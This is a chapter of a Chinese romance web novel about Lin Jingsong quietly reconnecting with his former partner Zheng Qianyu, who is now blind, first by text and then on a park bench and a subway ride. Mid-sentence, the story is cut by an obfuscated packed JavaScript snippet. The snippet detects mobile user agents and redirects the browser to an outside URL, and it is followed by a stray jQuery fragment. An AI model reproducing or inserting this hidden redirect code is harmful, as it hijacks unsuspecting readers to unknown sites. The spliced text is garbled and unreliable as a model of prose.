“我不怎么出门。”
收到郑千玉的这则消息，林静松再一次察觉到自己线上聊天水平的孱弱。
他回顾自己发的消息，大都说天气、日程、食物。吸取了上一次的教训之后，他再也没有说过任何越线的话。
林静松也知道要循序渐进。
郑千玉人很好，即使林静松聊成这个样子，他也愿意回复他。即使某段时间有事没回，事后他也会认真解释。
于是林静松便知道郑千玉目前是一个人住，他的哥哥经常来看他，他目前有一份线上的工作，推进得还算顺利。
林静松认识郑千玉的哥哥郑辛，他对此人的心情十分复杂，所以不想多问，只想知道郑千玉一个人的事情。
当他说起今天外面阳光很好，靠近二十号线某站出口有个森林公园，会很适合晒太阳时，也许隐含着某种期待，但林静松确实按捺着没有发出任何邀请。
郑千玉沉默了一阵，然后林静松就收到了他相当消极的回复。
林静松是不可能不察觉到郑千玉性格之中那种巨大的变化的。
以前郑千玉完全不在乎林静松线上那种呆滞、木讷的回应，一是因为他们总待在一起，二是郑千玉觉得逗这样的林静松很好玩。
他会给林静松发很多表情包，让他挑一个最像林静松自己的。林静松挑了一个，于是郑千玉让他发消息都要带这个表情包。
那只像林静松的歪头黑色牧羊犬在两人的对话框里罚站了一个月。直到郑千玉找到下一个更像林静松的图。
林静松并非可以要拿“从前”比较，也从没觉得哪个郑千玉更好。
郑千玉就是郑千玉，无论他变成什么样子。
如今林静松要自己搭起桥梁，走到郑千玉身边。只有努力去尝试过后，林静松才会知道郑千玉这个人有多了不起。
郑千玉的消极也值得回应。
林静松：可以在你想去的时候去。
郑千玉：你去过了吗？
林静松坐在被阳光洒满的长椅上，他的影子覆盖了旁边的位置。早春的空气寒冷清冽，但已有熏风的意味，是一种让人感到十分舒适的温度。
他认为，郑千玉如果来这里，可能会开心一点。可惜林静松囿于语言的贫乏，无法准确地形容这份感受。
林静松曾经试着让chatgpt帮助培训一些更好的回复，但是看到那些生成的大段文字，一向对此不敏感的林静松也突然找到自己的主体性。
他觉得那样说话不像自己，也许还会让郑千玉笑话。
林静松打字：我去过的。
他试着写下自己观察得到的、可能会吸引到郑千玉的一些优点。
“那里很安静，人不是很多。”
这个森林公园建了很久，风景宜人，工作日相对安静，早上七八点会有一些老人带着小孩，到九点左右就没什么人了。
郑千玉：原来如此。
话题到这里就结束了。
林静松已总结出规律，如果郑千玉想结束话题了，他就不会再延展话题。
这个时候，林静松需要等到第二天早上，郑千玉开启了新的一天。也许他的精神会好一些，也许他稍微整理了思绪，可以和林静松有新的对话。
林静松将手机收了起来，他看着对面种的一排松针树，历经一个冬天仍显苍翠，枝叶在春风之中微微摆动着。
坐在长椅的一端，林静松暂且陷入了思考。
郑千玉曾说林静松想事情的时候很像在发呆，其实林静松会想很多事。他的表情和语言并不活跃，心事却有很多。
也许有时候就是因为心事太多，使林静松更加缄默。
不久前他提前结束了自己的一个长期规划。林静松本打算不再回来了，要在异国他乡全情投入到工作之中，直到忘记某些事情，把回忆都洗清，再重审自己的人生，以及自己的下一步。
可惜进展甚微。
决定回国，林静松最终保留了工作，远程办公，仍在协助维护BYE的运转。
眼下的其他事情，林静松只有目标，但暂时还没有想到很好的方法。
在冬天最后的微弱的风中，林静松体会到这几年来如影随形的一种相当熟悉的迷惘，他难以分析，也就难以处理。
林静松坐了有一个小时多一点的时间，他准备起身离开时，听到一阵金属击打、摩擦地砖的声音。
这一瞬间他有种在悬崖踩空的感觉，心跳都空了一拍。林静松循声看去，他看见了郑千玉。
真人和屏幕里的影像是很不同的。当郑千玉真正出现在林静松眼前，在他毫无心理准备的这一秒，林静松意识到自己之前完全不算重新见过郑千玉。
郑千玉穿戴得很整齐，浅色的衬衫和外套，头发乌黑，修剪利落。他以前常戴耳钉，现在也一并摘去。他的神色很沉静，整个人看上去洁净而透明。
林静松坐在长椅上，没有出声地看着郑千玉，胸口深深地起伏了一下。
郑千玉握着盲杖，轻轻地点来点去，随后碰到林静松所在的长椅。他先用盲杖碰了几下，再俯身伸手触摸，确定这是一个空的座位后，将盲杖靠在一边，缓缓坐在长椅的另一端。
已近中午，阳光十分温暖，郑千玉像取暖一样搓了搓自己的手，从外套里拿出耳机戴上了。
林静松坐在长椅的另外一端，两个人隔着半米的距离。
他的目光落在郑千玉因冷空气而发红的耳朵，他的手指细长，关节明显，动作缓慢而清晰。郑千玉的侧脸有一个非常好看的幅度，从眉心到下巴精巧曲折的线条牵动着林静松的视线，睫毛很长，掩盖一双失去作用，仍旧美丽的眼睛。
林静松深深地看他，没有让郑千玉察觉到长椅的另外一端还坐着个人。
郑千玉真的看不见了。
只有当林静松在这种距离亲眼验证了这件事，这件事最尖锐的冲击才在此刻席卷过他的认知。
不只在和他片刻的连线之中，也不只在只言片语的消息之中，郑千玉的每一天，每一秒都活在黑暗之中。
而林静松并不知道他具体度过了多少个这样的日子，也难以想象郑千玉怎么度过这些日子。
他似乎在听一首音乐。郑千玉的手指搭在膝盖上，指尖偶尔微弱地打了一两下节奏。
当风吹过他们头上的树梢时，那些光斑在郑千玉的脸上颤动，这让他似有所感，抬头像什么动物一样嗅闻着林间的空气。
他握着手机，头朝左右两个方向都停驻了一下。当郑千玉看向林静松，他那已经失去意义的目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474818|169918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光落在林静松的脸上，又很轻很快地离开了。
郑千玉似乎在确认附近没什么人，他拿起手机，手指在屏幕上滑动。
林静松知道他正在通过耳机里的旁白功能辅助操作。
他的手指拨了一下手机的静音键，把提示音关掉了。
郑千玉用了语音输入，林静松听见他说：
“这里确实很安静。”
他顿了顿，又道：
“谢谢你。”
林静松的手机屏幕被点亮，显示有新消息。
郑千玉发完消息之后，将手机放回膝盖上。好像是一种习惯性的等待，因为这个人总是很快就会回复他。
林静松悄悄打字：
“不客气，我也很喜欢那里。”
郑千玉收到消息，他听了一会儿，好像林静松的回复是风趣的一样，他很轻地笑了。
这种反应有些出乎林静松的意料。他从不认为自己的消息能让郑千玉在这样的日子里感到愉快，他贫乏的情商是有目共睹的。
这样的林静松曾让郑千玉调笑了无数次，但郑千玉觉得这样的林静松很好，不必做任何改变。
所以林静松一直是这个样子。
也许这样寡淡的语言风格让郑千玉想起他有一个很相似的前男友。
不知道郑千玉对他的回忆是不是还残存着愉快。
郑千玉的笑意还没有完全散去，他回复了林静松的消息。
“那以后你可能会碰到我。”
他仍然转成文字，发给了林静松。如果不是林静松此刻听到，他也无法想象出郑千玉真实的语气。
现在，林静松有理由认为，他们之间的联系有了一些明朗的进展。
至少，郑千玉并不排斥见到他。
这种进展又让林静松的心情有些复杂，说不清楚为什么，细想下去，林静松的情感处理器就有些宕机了。
他又打字：
我会和你打招呼的。
郑千玉：“好啊。”
话题到这里就结束了。林静松看见郑千玉退出了软件，又播放了另外一首歌曲。
林静松很想知道他在听什么样的歌。
待到这首歌结束的时候，郑千玉摘下了耳机，摸到盲杖，起身离开了。
林静松落在他身后不远的距离，和郑千玉搭上同一趟地铁。在有些拥挤的车厢里，有人起身给郑千玉让了座，郑千玉说了“谢谢”，被扶了一下，坐到座位上。
有些人悄悄侧目，不知是为他的样貌，还是为他的残疾。
郑千玉依赖听觉，坐车时很认真地听报站，人潮让他有些紧绷，他握着盲杖，坐的很直。两站过去，林静松站到他的身前，抬手握住栏杆，免得人群出入再挤到郑千玉。
又经过三站，郑千玉起身准备下车，林静松伸手扶住他的手臂，郑千玉只当他是另外一个好心的陌生人，他借了一点力气站起，低声道“谢谢”，又展露一个笑容，对他说：“你坐我的位置吧。”
林静松没出声，送郑千玉到车门处，车门阖上，将郑千玉的身影遮挡在外。林静松留在车上，他的住处在下一站。
这一天直到结束，林静松总是无意识地握起松开自己的手掌，体会着这么久之后，他再次触碰到郑千玉的感觉。